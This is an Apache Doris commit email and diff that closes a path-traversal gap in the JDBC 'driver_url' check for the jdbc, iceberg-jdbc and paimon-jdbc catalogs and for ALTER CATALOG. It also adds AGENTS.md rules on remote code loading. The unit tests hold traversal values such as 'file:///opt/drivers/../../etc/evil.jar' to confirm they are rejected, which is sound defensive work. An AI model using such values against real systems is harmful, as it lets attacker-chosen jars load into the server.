This is an automated email from the ASF dual-hosted git repository.
CalvinKirs pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/doris.git
The following commit(s) were added to refs/heads/master by this push:
new ba28af4f208 [fix](catalog) Unify the jdbc driver_url security check
across jdbc/iceberg/paimon and ALTER CATALOG (#68129)
ba28af4f208 is described below
commit ba28af4f2089a48c3a08f4f1f8e4a6c8cdfd1302
Author: Calvin Kirs <[email protected]>
AuthorDate: Fri Sep 18 10:34:09 2026 +0800
[fix](catalog) Unify the jdbc driver_url security check across
jdbc/iceberg/paimon and ALTER CATALOG (#68129)
### What problem does this PR solve?
Related PR: #66483 (an earlier take on the same problem via a new
connector-SPI method; this PR supersedes it with a smaller, holder-based
approach that leaves the plugin API untouched)
Problem Summary:
`driver_url` on a jdbc-flavored catalog names a jar that the FE loads
into its own JVM
(`URLClassLoader` + `Class.forName(name, true, loader)`). Doris guards
it in two layers:
1. a mandatory, non-configurable rule — no `..` path segment, and a bare
file name must match
`[A-Za-z0-9._-]+\.jar`;
2. an operator-configurable gate from fe.conf —
`jdbc_driver_secure_path` / `jdbc_driver_url_white_list`.
Two gaps:
**The iceberg-jdbc and paimon-jdbc catalogs never ran the mandatory
rule.** `iceberg.catalog.type=jdbc`
and `paimon.catalog.type=jdbc` reach the same class-loading sink through
`iceberg.jdbc.driver_url` /
`jdbc.driver_url`. Their `preCreateValidation` routes the value through
the fe.conf gate at CREATE, but
with the default `jdbc_driver_secure_path=*` that gate accepts
everything — nothing forbids a `..`
traversal segment, and the connector-side resolver
(`JdbcDriverSupport.resolveDriverUrl`) happily
resolves `../` against the drivers directory.
**None of the three catalogs ran either check on `ALTER CATALOG`.**
ALTER validates through
`PluginDrivenExternalCatalog.validatePropertiesBeforeUpdate` and never
reaches
`Connector.preCreateValidation`, which is where CREATE applies both
layers; `resetToUninitialized`
then makes the new value effective on the next metadata access. So an
operator who narrowed
`jdbc_driver_secure_path` got the restriction enforced at `CREATE
CATALOG` and silently bypassed by a
follow-up `ALTER CATALOG ... SET ("driver_url" = ...)`. (The paimon
connector's own javadoc records
this as a known gap "shared by all plugin connectors".)
What this PR does — one unified check, declared where the property is
declared:
- Extracts the mandatory rule into `JdbcDriverUrlSecurity`
(fe-foundation, `foundation.security` —
the one module every property holder depends on), deleting the
jdbc-local copy
(`JdbcDorisConnector.checkDriverUrlSecurityRule`). The rule is called
from the property holders'
statement-time validation, right next to the `driver_url` field it
guards:
`JdbcCatalogProperties.checkCreateTimeOnlyRules` and the iceberg/paimon
JDBC metastore holders'
`validate()`. Those hooks run on CREATE **and** on ALTER
(`checkCreateTimeOnlyRules` →
`bindForType`) and never on replay or a catalog rebuild, so existing
catalogs and follower startup
are unaffected; the flavor gating comes for free because only the jdbc
flavor selects the jdbc
metastore backend. A dedicated test pins that `of()` keeps tolerating a
pre-rule `driver_url`.
- Applies the operator's fe.conf gate on ALTER from
`PluginDrivenExternalCatalog.checkDriverUrlsAgainstOperatorGate`, driven
by a small key table of
the three catalogs' driver-url property names (user-facing, wire-stable
keys with their documented
aliases, flavor-gated for iceberg/paimon). The gate fires only when the
ALTER touches a driver-url
key or the flavor key that can bring a stored one to life: a stored
value was gated at its own
CREATE/ALTER time, and re-resolving it on every unrelated ALTER would
re-run `getFullDriverUrl`'s
file-existence / cloud-download side effects under `CatalogMgr`'s write
lock and fail ALTERs that
change nothing about the jar. The fe.conf policy is the engine's to
apply while the
keys belong to the connectors; spelling out three constants avoids
widening the connector plugin
SPI, so the plugin API version and surface baseline are untouched.
- `AGENTS.md`: no new code path may fetch an artifact from a
user-supplied URL and load it into a
Doris process; the existing `driver_url` paths are grandfathered, not a
precedent.
---
AGENTS.md | 12 +
.../iceberg/IcebergJdbcDriverUrlSecurityTest.java | 96 ++++++++
.../connector/jdbc/JdbcCatalogProperties.java | 7 +
.../connector/jdbc/JdbcConnectorProvider.java | 7 +-
.../doris/connector/jdbc/JdbcDorisConnector.java | 67 +-----
.../connector/jdbc/JdbcCatalogPropertiesTest.java | 24 ++
.../jdbc/IcebergJdbcMetaStoreProperties.java | 6 +
.../paimon/jdbc/PaimonJdbcMetaStoreProperties.java | 7 +
.../paimon/PaimonJdbcDriverUrlSecurityTest.java | 105 +++++++++
.../org/apache/doris/catalog/JdbcResource.java | 2 +-
.../plugin/PluginDrivenExternalCatalog.java | 101 +++++++++
...uginDrivenExternalCatalogDriverUrlGateTest.java | 243 +++++++++++++++++++++
.../foundation/security/JdbcDriverUrlSecurity.java | 102 +++++++++
.../security/JdbcDriverUrlSecurityTest.java} | 32 +--
14 files changed, 728 insertions(+), 83 deletions(-)
diff --git a/AGENTS.md b/AGENTS.md
index 5d551bb1c3e..babc1657c1c 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -6,6 +6,18 @@ This is the codebase for Apache Doris, an MPP OLAP database.
It primarily consis
For security scans, vulnerability triage, security reviews, and changes
involving authentication, authorization, network boundaries, external catalogs,
cloud tenancy, or other security-sensitive behavior, read `SECURITY.md` first,
then follow it to `threat-model.md`. Use `threat-model.md` to determine
in-scope components, trust boundaries, attacker roles, explicit non-goals, and
triage classification. Findings that are out of model or by design under
`threat-model.md` should be reported [...]
+## Remote Artifacts and Dynamic Code Loading
+
+Do not add any new code path that fetches an artifact from a user-supplied URL
and loads it into a Doris process. This covers `driver_url`-style
catalog/resource properties, plugin and UDF locations, and any other property
whose value reaches a `URLClassLoader`, `Class.forName`,
`System.load`/`dlopen`, or an equivalent BE-side loader. A user who can write
such a property gets code execution inside the process that loads it, so the
property's effective privilege is that process, not the D [...]
+
+The existing `driver_url` paths (jdbc / iceberg-jdbc / paimon-jdbc catalogs)
remain for backward compatibility. They are grandfathered, not a precedent — do
not copy the pattern into a new connector or feature.
+
+When a feature genuinely needs an operator-supplied artifact, read it from a
local, operator-controlled directory (the `jdbc_drivers_dir` / plugin-directory
pattern), not from a URL. The ADBC catalog's `AdbcDriverPathResolver` is the
model: remote schemes rejected outright, a scheme-less value restricted to a
bare file name so no path separator can escape the configured directory, and
the check placed where the artifact is loaded rather than only at CREATE.
+
+Every consumer of the **jdbc-flavored** `driver_url` (the jdbc / iceberg-jdbc
/ paimon-jdbc catalogs, which do accept a URL) must route the raw value through
`JdbcDriverUrlSecurity.check` (`fe-foundation`, `foundation.security`) from its
property holder's statement-time validation —
`JdbcCatalogProperties.checkCreateTimeOnlyRules` and the iceberg/paimon JDBC
metastore holders' `validate()` — which the engine reaches on both CREATE and
ALTER CATALOG and never on replay or a catalog rebuil [...]
+
+Separately, any new outbound HTTP request the FE or BE issues to a host named
by a non-SUPER user is an SSRF surface. Call it out explicitly in the PR
description together with the privilege required to reach it.
+
## When running in a WORKTREE directory
To ensure smooth test execution without interference between worktrees, the
first thing to do upon entering a worktree directory is to check if
`.worktree_initialized` exists. If not, execute `hooks/setup_worktree.sh`,
setting `$ROOT_WORKSPACE_PATH` to the base directory (typically
`${DORIS_REPO}`) beforehand. After successful execution, verify that
`.worktree_initialized` has been touched and that `thirdparty/installed`
dependencies exist correctly. Also check if submodules have been pr [...]
diff --git
a/fe/fe-connector/fe-connector-iceberg/src/test/java/org/apache/doris/connector/iceberg/IcebergJdbcDriverUrlSecurityTest.java
b/fe/fe-connector/fe-connector-iceberg/src/test/java/org/apache/doris/connector/iceberg/IcebergJdbcDriverUrlSecurityTest.java
new file mode 100644
index 00000000000..e7d1c1f616e
--- /dev/null
+++
b/fe/fe-connector/fe-connector-iceberg/src/test/java/org/apache/doris/connector/iceberg/IcebergJdbcDriverUrlSecurityTest.java
@@ -0,0 +1,96 @@
+// Licensed to the Apache Software Foundation (ASF) under one
+// or more contributor license agreements. See the NOTICE file
+// distributed with this work for additional information
+// regarding copyright ownership. The ASF licenses this file
+// to you under the Apache License, Version 2.0 (the
+// "License"); you may not use this file except in compliance
+// with the License. You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing,
+// software distributed under the License is distributed on an
+// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+// KIND, either express or implied. See the License for the
+// specific language governing permissions and limitations
+// under the License.
+
+package org.apache.doris.connector.iceberg;
+
+import org.apache.doris.foundation.security.JdbcDriverUrlSecurity;
+
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * The Iceberg JDBC catalog loads {@code iceberg.jdbc.driver_url} into the FE
JVM through a
+ * {@code URLClassLoader} + {@code Class.forName(name, true, loader)}, exactly
like the jdbc catalog does.
+ * These tests pin that the provider's CREATE and ALTER hooks both reach the
SAME mandatory rule
+ * ({@link JdbcDriverUrlSecurity}), which is wired inside {@code
IcebergJdbcMetaStoreProperties#validate()}
+ * — the statement-time hook that {@code checkCreateTimeOnlyRules} selects for
the jdbc flavor.
+ *
+ * <p>The rule's own semantics live in {@code JdbcDriverUrlSecurityTest}
(fe-foundation); here one rejected
+ * shape is enough to prove the call is wired.
+ */
+public class IcebergJdbcDriverUrlSecurityTest {
+
+ private static final IcebergConnectorProvider PROVIDER = new
IcebergConnectorProvider();
+
+ private static Map<String, String> jdbcProps(String driverUrl) {
+ Map<String, String> props = new HashMap<>();
+ props.put("iceberg.catalog.type", "jdbc");
+ props.put("uri", "jdbc:mysql://127.0.0.1:3306/iceberg");
+ props.put("iceberg.jdbc.catalog_name", "c");
+ props.put("warehouse", "s3://bucket/wh");
+ props.put("iceberg.jdbc.driver_url", driverUrl);
+ props.put("iceberg.jdbc.driver_class", "com.mysql.cj.jdbc.Driver");
+ return props;
+ }
+
+ @Test
+ public void createRejectsTraversalDriverUrl() {
+ // MUTATION: drop the JdbcDriverUrlSecurity.check call from
IcebergJdbcMetaStoreProperties.validate()
+ // -> the props are otherwise valid, so validateProperties returns ->
red.
+ IllegalArgumentException e =
Assertions.assertThrows(IllegalArgumentException.class,
+ () ->
PROVIDER.validateProperties(jdbcProps("file:///opt/drivers/../../etc/evil.jar")));
+ Assertions.assertTrue(e.getMessage().contains("path traversal"),
e.getMessage());
+ }
+
+ @Test
+ public void alterRejectsRepointedDriverUrl() {
+ // ALTER goes through validatePropertiesForUpdate, which does not
funnel back to
+ // validateProperties — it reaches the rule through
checkCreateTimeOnlyRules -> bindForType
+ // -> IcebergJdbcMetaStoreProperties.validate() on the merged
candidate.
+ Map<String, String> stored = jdbcProps("mysql-connector-j-8.4.0.jar");
+ Map<String, String> update = new HashMap<>();
+ update.put("iceberg.jdbc.driver_url",
"file:///opt/drivers/../../etc/evil.jar");
+ IllegalArgumentException e =
Assertions.assertThrows(IllegalArgumentException.class,
+ () -> PROVIDER.validatePropertiesForUpdate(stored, update));
+ Assertions.assertTrue(e.getMessage().contains("path traversal"),
e.getMessage());
+ }
+
+ @Test
+ public void createRejectsSchemelessPathDriverUrl() {
+ Assertions.assertThrows(IllegalArgumentException.class,
+ () ->
PROVIDER.validateProperties(jdbcProps("sub/dir/evil.jar")));
+ }
+
+ @Test
+ public void createAcceptsBareJarName() {
+ PROVIDER.validateProperties(jdbcProps("mysql-connector-j-8.4.0.jar"));
+ }
+
+ @Test
+ public void ruleSkippedForNonJdbcFlavor() {
+ // A driver_url is dead config on a non-jdbc flavor: bindForType never
selects the jdbc metastore
+ // holder, so the rule must not turn a previously-accepted HMS catalog
into a CREATE/ALTER failure.
+ Map<String, String> props = new HashMap<>();
+ props.put("iceberg.catalog.type", "hms");
+ props.put("hive.metastore.uris", "thrift://h");
+ props.put("iceberg.jdbc.driver_url", "../evil.jar");
+ PROVIDER.validateProperties(props);
+ }
+}
diff --git
a/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcCatalogProperties.java
b/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcCatalogProperties.java
index 05cc546de4e..a2786c7eb93 100644
---
a/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcCatalogProperties.java
+++
b/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcCatalogProperties.java
@@ -20,6 +20,7 @@ package org.apache.doris.connector.jdbc;
import org.apache.doris.foundation.property.ConnectorPropertiesUtils;
import org.apache.doris.foundation.property.ConnectorProperty;
import org.apache.doris.foundation.property.ParamRules;
+import org.apache.doris.foundation.security.JdbcDriverUrlSecurity;
import java.util.Collections;
import java.util.LinkedHashMap;
@@ -240,6 +241,12 @@ public final class JdbcCatalogProperties {
.require(driverClass, "Required property '" + DRIVER_CLASS +
"' is missing")
.validate();
+ // Mandatory, non-configurable security rule (no '..' segment; a bare
name must be a plain
+ // *.jar file name), shared with the iceberg-jdbc / paimon-jdbc
catalogs. It lives in this
+ // statement-time hook and NOT in of(): a catalog created before the
rule existed must keep
+ // coming back after an FE restart (see class javadoc).
+ JdbcDriverUrlSecurity.check(driverUrl);
+
if (raw.containsKey(LOWER_CASE_TABLE_NAMES)) {
throw new IllegalArgumentException(
"Jdbc catalog property lower_case_table_names is not
supported,"
diff --git
a/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcConnectorProvider.java
b/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcConnectorProvider.java
index 2d6c34d8f9d..6371a19713c 100644
---
a/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcConnectorProvider.java
+++
b/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcConnectorProvider.java
@@ -41,12 +41,11 @@ public class JdbcConnectorProvider implements
ConnectorProvider {
/**
* Validates catalog properties at CREATE/ALTER time. Building the holder
covers what a stored
* catalog must satisfy; checkCreateTimeOnlyRules covers the rest, which
has only ever applied to a
- * statement (see {@link JdbcCatalogProperties}). The driver_url security
rule stays a separate call
- * because it is enforced here and in preCreateValidation, and lives with
the connector that owns it.
+ * statement (see {@link JdbcCatalogProperties}) — including the mandatory
driver_url security rule
+ * ({@code JdbcDriverUrlSecurity}), shared with the iceberg-jdbc /
paimon-jdbc catalogs.
*/
@Override
public void validateProperties(Map<String, String> properties) {
- JdbcCatalogProperties props =
JdbcCatalogProperties.of(properties).checkCreateTimeOnlyRules();
- JdbcDorisConnector.checkDriverUrlSecurityRule(props.getDriverUrl());
+ JdbcCatalogProperties.of(properties).checkCreateTimeOnlyRules();
}
}
diff --git
a/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcDorisConnector.java
b/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcDorisConnector.java
index 52f79f8e278..620d6e851e0 100644
---
a/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcDorisConnector.java
+++
b/fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcDorisConnector.java
@@ -28,6 +28,7 @@ import
org.apache.doris.connector.spi.ConnectorValidationContext;
import org.apache.doris.connector.spi.DorisConnectorException;
import org.apache.doris.connector.spi.scan.ConnectorScanPlanProvider;
import org.apache.doris.connector.spi.write.ConnectorWritePlanProvider;
+import org.apache.doris.foundation.security.JdbcDriverUrlSecurity;
import org.apache.doris.thrift.TJdbcTable;
import org.apache.doris.thrift.TOdbcTableType;
import org.apache.doris.thrift.TTableDescriptor;
@@ -39,13 +40,10 @@ import org.apache.thrift.TSerializer;
import java.io.File;
import java.io.IOException;
-import java.net.URI;
-import java.net.URISyntaxException;
import java.util.EnumSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
-import java.util.regex.Pattern;
/**
* JDBC connector implementation. Manages the lifecycle of
@@ -111,64 +109,6 @@ public class JdbcDorisConnector implements Connector {
return scanPlanProvider;
}
- // A scheme-less driver_url must be a plain jar file name: letters,
digits, dot, underscore, hyphen.
- // This intentionally forbids any path separator, so it can never escape
jdbc_drivers_dir.
- private static final Pattern SAFE_DRIVER_FILE_NAME =
Pattern.compile("^[A-Za-z0-9._-]+\\.jar$");
-
- /**
- * Mandatory, non-configurable driver_url security rule. It is invoked from
- * {@link JdbcConnectorProvider#validateProperties} (and from {@link
#preCreateValidation}),
- * i.e. from the engine's {@code checkProperties()} hook, which runs only
on the user-facing
- * CREATE / ALTER CATALOG paths (both guarded by {@code !isReplay}).
Therefore the rule never
- * runs during metadata/edit-log replay nor at query time, so existing
catalogs are unaffected
- * and FE startup / follower replay can never be blocked by it.
- *
- * <p>The rule cannot be turned off:
- * <ul>
- * <li>any {@code ..} path-traversal segment is rejected, for {@code
file://} and {@code http(s)} alike;</li>
- * <li>a scheme-less driver_url must be a bare jar file name matching
{@code [A-Za-z0-9._-]+.jar}
- * (no directories, no special characters), which is then resolved
under {@code jdbc_drivers_dir}.</li>
- * </ul>
- * Whether a remote/absolute URL is allowed at all remains governed by the
fe.conf-only
- * {@code jdbc_driver_secure_path} / {@code jdbc_driver_url_white_list}
configs; this rule only
- * forbids traversal and enforces the bare-name charset.
- *
- * <p>Throws {@link IllegalArgumentException} so the engine wraps it into
a {@code DdlException}
- * (and, on ALTER, triggers the property rollback).
- */
- public static void checkDriverUrlSecurityRule(String driverUrl) {
- if (driverUrl == null || driverUrl.isEmpty()) {
- return;
- }
- // Check traversal on the decoded path so percent-encoded segments
(e.g. %2e%2e) — which the
- // driver-loading consumers decode — cannot slip a ".." past this rule.
- String pathToCheck = driverUrl;
- if (driverUrl.contains("://")) {
- try {
- String decoded = new URI(driverUrl).getPath();
- if (decoded != null) {
- pathToCheck = decoded;
- }
- } catch (URISyntaxException e) {
- throw new IllegalArgumentException("Invalid driver_url: " +
driverUrl);
- }
- }
- String probe = pathToCheck.replace('\\', '/');
- for (String segment : probe.split("/")) {
- if ("..".equals(segment)) {
- throw new IllegalArgumentException(
- "Invalid driver_url: path traversal ('..') is not
allowed: " + driverUrl);
- }
- }
- if (!driverUrl.contains("://")) {
- if (!SAFE_DRIVER_FILE_NAME.matcher(driverUrl).matches()) {
- throw new IllegalArgumentException(
- "Invalid driver_url: a driver file name must match
[A-Za-z0-9._-]+.jar (got: "
- + driverUrl + ")");
- }
- }
- }
-
@Override
public ConnectorWritePlanProvider getWritePlanProvider() {
// Returning a non-null provider routes jdbc writes through the
unified plan-provider sink
@@ -182,8 +122,9 @@ public class JdbcDorisConnector implements Connector {
// 1. Validate/resolve JDBC driver — format, whitelist, secure_path,
file existence.
String driverUrl = props.getDriverUrl();
if (driverUrl != null && !driverUrl.isEmpty()) {
- // Mandatory, non-configurable security rule, enforced on catalog
creation only.
- checkDriverUrlSecurityRule(driverUrl);
+ // Mandatory, non-configurable security rule, shared with the
iceberg-jdbc / paimon-jdbc
+ // catalogs; the same rule also runs on CREATE and ALTER via
checkCreateTimeOnlyRules.
+ JdbcDriverUrlSecurity.check(driverUrl);
context.validateAndResolveDriverPath(driverUrl);
// 2. Compute and verify checksum.
diff --git
a/fe/fe-connector/fe-connector-jdbc/src/test/java/org/apache/doris/connector/jdbc/JdbcCatalogPropertiesTest.java
b/fe/fe-connector/fe-connector-jdbc/src/test/java/org/apache/doris/connector/jdbc/JdbcCatalogPropertiesTest.java
index 2b367d82a11..61c4bce4e83 100644
---
a/fe/fe-connector/fe-connector-jdbc/src/test/java/org/apache/doris/connector/jdbc/JdbcCatalogPropertiesTest.java
+++
b/fe/fe-connector/fe-connector-jdbc/src/test/java/org/apache/doris/connector/jdbc/JdbcCatalogPropertiesTest.java
@@ -268,4 +268,28 @@ class JdbcCatalogPropertiesTest {
Assertions.assertFalse(rendered.contains("secret-p"), "got: " +
rendered);
Assertions.assertTrue(rendered.contains("password=***"), "got: " +
rendered);
}
+
+ // ---- driver_url mandatory security rule: statement-side rejects,
of()-side must not ----
+
+ @Test
+ void checkCreateTimeOnlyRulesRejectsTraversalDriverUrl() {
+ // MUTATION: drop the JdbcDriverUrlSecurity.check call from
checkCreateTimeOnlyRules -> red.
+ Assertions.assertThrows(IllegalArgumentException.class,
+ () -> JdbcCatalogProperties.of(
+ with(JdbcCatalogProperties.DRIVER_URL,
"file:///opt/a/../../etc/evil.jar"))
+ .checkCreateTimeOnlyRules());
+ Assertions.assertThrows(IllegalArgumentException.class,
+ () -> JdbcCatalogProperties.of(
+ with(JdbcCatalogProperties.DRIVER_URL,
"sub/dir/evil.jar"))
+ .checkCreateTimeOnlyRules());
+ }
+
+ @Test
+ void ofToleratesPreRuleDriverUrl() {
+ // A catalog created before the rule existed must keep rebuilding
after an FE restart, so the
+ // rule must never run from of(). MUTATION: moving the check into of()
-> red.
+ JdbcCatalogProperties p = JdbcCatalogProperties.of(
+ with(JdbcCatalogProperties.DRIVER_URL,
"file:///opt/a/../../etc/legacy.jar"));
+ Assertions.assertEquals("file:///opt/a/../../etc/legacy.jar",
p.getDriverUrl());
+ }
}
diff --git
a/fe/fe-connector/fe-connector-metastore-iceberg/src/main/java/org/apache/doris/connector/metastore/iceberg/jdbc/IcebergJdbcMetaStoreProperties.java
b/fe/fe-connector/fe-connector-metastore-iceberg/src/main/java/org/apache/doris/connector/metastore/iceberg/jdbc/IcebergJdbcMetaStoreProperties.java
index 2ddb0189396..fdeb0d7f2ce 100644
---
a/fe/fe-connector/fe-connector-metastore-iceberg/src/main/java/org/apache/doris/connector/metastore/iceberg/jdbc/IcebergJdbcMetaStoreProperties.java
+++
b/fe/fe-connector/fe-connector-metastore-iceberg/src/main/java/org/apache/doris/connector/metastore/iceberg/jdbc/IcebergJdbcMetaStoreProperties.java
@@ -20,6 +20,7 @@ package org.apache.doris.connector.metastore.iceberg.jdbc;
import org.apache.doris.connector.metastore.spi.AbstractMetaStoreProperties;
import org.apache.doris.foundation.property.ConnectorPropertiesUtils;
import org.apache.doris.foundation.property.ConnectorProperty;
+import org.apache.doris.foundation.security.JdbcDriverUrlSecurity;
import org.apache.commons.lang3.StringUtils;
@@ -141,5 +142,10 @@ public final class IcebergJdbcMetaStoreProperties extends
AbstractMetaStorePrope
throw new IllegalArgumentException("Property
iceberg.jdbc.catalog_name is required.");
}
requireWarehouse();
+ // Mandatory, non-configurable security rule for the jar this flavor
loads into the FE JVM,
+ // shared with the jdbc / paimon-jdbc catalogs. validate() is reached
only from the CREATE /
+ // ALTER statement paths (checkCreateTimeOnlyRules -> bindForType),
never from a catalog
+ // rebuild, which is what keeps pre-rule catalogs loadable after an FE
restart.
+ JdbcDriverUrlSecurity.check(driverUrl);
}
}
diff --git
a/fe/fe-connector/fe-connector-metastore-paimon/src/main/java/org/apache/doris/connector/metastore/paimon/jdbc/PaimonJdbcMetaStoreProperties.java
b/fe/fe-connector/fe-connector-metastore-paimon/src/main/java/org/apache/doris/connector/metastore/paimon/jdbc/PaimonJdbcMetaStoreProperties.java
index f90f2938992..ea2a20d7157 100644
---
a/fe/fe-connector/fe-connector-metastore-paimon/src/main/java/org/apache/doris/connector/metastore/paimon/jdbc/PaimonJdbcMetaStoreProperties.java
+++
b/fe/fe-connector/fe-connector-metastore-paimon/src/main/java/org/apache/doris/connector/metastore/paimon/jdbc/PaimonJdbcMetaStoreProperties.java
@@ -22,6 +22,7 @@ import
org.apache.doris.connector.metastore.spi.AbstractMetaStoreProperties;
import org.apache.doris.connector.metastore.spi.JdbcDriverSupport;
import org.apache.doris.foundation.property.ConnectorPropertiesUtils;
import org.apache.doris.foundation.property.ConnectorProperty;
+import org.apache.doris.foundation.security.JdbcDriverUrlSecurity;
import org.apache.commons.lang3.StringUtils;
@@ -83,6 +84,12 @@ public final class PaimonJdbcMetaStoreProperties extends
AbstractMetaStoreProper
"jdbc.driver_class or paimon.jdbc.driver_class is required
when "
+ "jdbc.driver_url or paimon.jdbc.driver_url is
specified");
}
+ // Mandatory, non-configurable security rule for the jar this flavor
loads into the FE JVM,
+ // shared with the jdbc / iceberg-jdbc catalogs. validate() is reached
only from the CREATE /
+ // ALTER statement paths (checkCreateTimeOnlyRules -> bind), never
from a catalog rebuild,
+ // which is what keeps pre-rule catalogs loadable after an FE restart.
Last, matching the
+ // iceberg holder's ordering.
+ JdbcDriverUrlSecurity.check(driverUrl);
}
@Override
diff --git
a/fe/fe-connector/fe-connector-paimon/src/test/java/org/apache/doris/connector/paimon/PaimonJdbcDriverUrlSecurityTest.java
b/fe/fe-connector/fe-connector-paimon/src/test/java/org/apache/doris/connector/paimon/PaimonJdbcDriverUrlSecurityTest.java
new file mode 100644
index 00000000000..c05483fd064
--- /dev/null
+++
b/fe/fe-connector/fe-connector-paimon/src/test/java/org/apache/doris/connector/paimon/PaimonJdbcDriverUrlSecurityTest.java
@@ -0,0 +1,105 @@
+// Licensed to the Apache Software Foundation (ASF) under one
+// or more contributor license agreements. See the NOTICE file
+// distributed with this work for additional information
+// regarding copyright ownership. The ASF licenses this file
+// to you under the Apache License, Version 2.0 (the
+// "License"); you may not use this file except in compliance
+// with the License. You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing,
+// software distributed under the License is distributed on an
+// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+// KIND, either express or implied. See the License for the
+// specific language governing permissions and limitations
+// under the License.
+
+package org.apache.doris.connector.paimon;
+
+import org.apache.doris.foundation.security.JdbcDriverUrlSecurity;
+
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * The Paimon JDBC catalog loads {@code paimon.jdbc.driver_url} / {@code
jdbc.driver_url} into the FE JVM
+ * through a {@code URLClassLoader} + {@code Class.forName(name, true,
loader)}, exactly like the jdbc
+ * catalog does. These tests pin that the provider's CREATE and ALTER hooks
both reach the SAME mandatory
+ * rule ({@link JdbcDriverUrlSecurity}), which is wired inside
+ * {@code PaimonJdbcMetaStoreProperties#validate()} — the statement-time hook
that
+ * {@code checkCreateTimeOnlyRules} selects for the jdbc flavor.
+ *
+ * <p>The rule's own semantics live in {@code JdbcDriverUrlSecurityTest}
(fe-foundation); here one rejected
+ * shape is enough to prove the call is wired.
+ */
+public class PaimonJdbcDriverUrlSecurityTest {
+
+ private static final PaimonConnectorProvider PROVIDER = new
PaimonConnectorProvider();
+
+ private static Map<String, String> jdbcProps(String driverUrlKey, String
driverUrl) {
+ Map<String, String> props = new HashMap<>();
+ props.put("paimon.catalog.type", "jdbc");
+ props.put("uri", "jdbc:mysql://127.0.0.1:3306/paimon");
+ props.put("warehouse", "s3://bucket/wh");
+ props.put(driverUrlKey, driverUrl);
+ props.put("jdbc.driver_class", "com.mysql.cj.jdbc.Driver");
+ return props;
+ }
+
+ @Test
+ public void createRejectsTraversalDriverUrl() {
+ // MUTATION: drop the JdbcDriverUrlSecurity.check call from
PaimonJdbcMetaStoreProperties.validate()
+ // -> the props are otherwise valid, so validateProperties returns ->
red.
+ IllegalArgumentException e =
Assertions.assertThrows(IllegalArgumentException.class,
+ () -> PROVIDER.validateProperties(
+ jdbcProps("jdbc.driver_url",
"file:///opt/drivers/../../etc/evil.jar")));
+ Assertions.assertTrue(e.getMessage().contains("path traversal"),
e.getMessage());
+ }
+
+ @Test
+ public void createRejectsTraversalOnPaimonPrefixedAlias() {
+ Assertions.assertThrows(IllegalArgumentException.class,
+ () -> PROVIDER.validateProperties(
+ jdbcProps("paimon.jdbc.driver_url",
"file:///opt/drivers/../../etc/evil.jar")));
+ }
+
+ @Test
+ public void alterRejectsRepointedDriverUrl() {
+ // ALTER goes through validatePropertiesForUpdate, which does not
funnel back to
+ // validateProperties — it reaches the rule through
checkCreateTimeOnlyRules -> bind
+ // -> PaimonJdbcMetaStoreProperties.validate() on the merged candidate.
+ Map<String, String> stored = jdbcProps("jdbc.driver_url",
"mysql-connector-j-8.4.0.jar");
+ Map<String, String> update = new HashMap<>();
+ update.put("jdbc.driver_url",
"file:///opt/drivers/../../etc/evil.jar");
+ IllegalArgumentException e =
Assertions.assertThrows(IllegalArgumentException.class,
+ () -> PROVIDER.validatePropertiesForUpdate(stored, update));
+ Assertions.assertTrue(e.getMessage().contains("path traversal"),
e.getMessage());
+ }
+
+ @Test
+ public void createRejectsSchemelessPathDriverUrl() {
+ Assertions.assertThrows(IllegalArgumentException.class,
+ () -> PROVIDER.validateProperties(jdbcProps("jdbc.driver_url",
"sub/dir/evil.jar")));
+ }
+
+ @Test
+ public void createAcceptsBareJarName() {
+ PROVIDER.validateProperties(jdbcProps("jdbc.driver_url",
"mysql-connector-j-8.4.0.jar"));
+ }
+
+ @Test
+ public void ruleSkippedForNonJdbcFlavor() {
+ // A driver_url is dead config on a non-jdbc flavor: bind never
selects the jdbc metastore
+ // holder, so the rule must not turn a previously-accepted filesystem
catalog into a
+ // CREATE/ALTER failure.
+ Map<String, String> props = new HashMap<>();
+ props.put("paimon.catalog.type", "filesystem");
+ props.put("warehouse", "s3://bucket/wh");
+ props.put("jdbc.driver_url", "../evil.jar");
+ PROVIDER.validateProperties(props);
+ }
+}
diff --git
a/fe/fe-core/src/main/java/org/apache/doris/catalog/JdbcResource.java
b/fe/fe-core/src/main/java/org/apache/doris/catalog/JdbcResource.java
index 0141d33d276..21035ac747a 100644
--- a/fe/fe-core/src/main/java/org/apache/doris/catalog/JdbcResource.java
+++ b/fe/fe-core/src/main/java/org/apache/doris/catalog/JdbcResource.java
@@ -325,7 +325,7 @@ public class JdbcResource extends Resource {
// legacy JDBC consumers call it directly, with no create/alter or
replay context), so it
// deliberately applies no new restriction here: an unmodified
historical catalog must keep
// resolving exactly as before. The mandatory bare-name grammar is
enforced only when a
- // catalog is created or altered, in
JdbcDorisConnector.checkDriverUrlSecurityRule.
+ // catalog is created or altered, in JdbcDriverUrlSecurity.check.
